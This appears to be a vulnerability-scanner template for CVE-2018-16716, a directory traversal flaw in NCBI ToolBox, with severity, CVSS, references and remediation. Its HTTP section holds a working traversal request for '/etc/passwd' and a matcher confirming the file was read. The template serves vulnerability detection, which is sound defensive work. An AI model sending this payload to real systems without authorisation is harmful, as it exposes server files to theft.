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id : CVE-2018-16716
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info :
name : NCBI ToolBox - Directory Traversal
author : 0x_Akoko
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severity : critical
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description : NCBI ToolBox 2.0.7 through 2.2.26 legacy versions contain a path traversal vulnerability via viewcgi.cgi which may result in reading of arbitrary files (i.e., significant information disclosure) or file deletion via the nph-viewgif.cgi query string.
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impact : |
An attacker can view, modify, or delete sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
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remediation : |
Apply the latest patch or update from the vendor to fix the directory traversal vulnerability in the NCBI ToolBox.
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reference :
- https://github.com/grymer/CVE/blob/master/CVE-2018-16716.md
- https://nvd.nist.gov/vuln/detail/CVE-2018-16716
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- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/grymer/CVE
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classification :
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cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score : 9.1
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cve-id : CVE-2018-16716
cwe-id : CWE-22
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epss-score : 0.00543
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epss-percentile : 0.74952
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cpe : cpe:2.3:a:nih:ncbi_toolbox:*:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : nih
product : ncbi_toolbox
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tags : cve,cve2018,ncbi,lfi,nih
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http :
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- method : GET
path :
- "{{BaseURL}}/blast/nph-viewgif.cgi?../../../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
- "root:[x*]:0:0"
- type : status
status :
- 200
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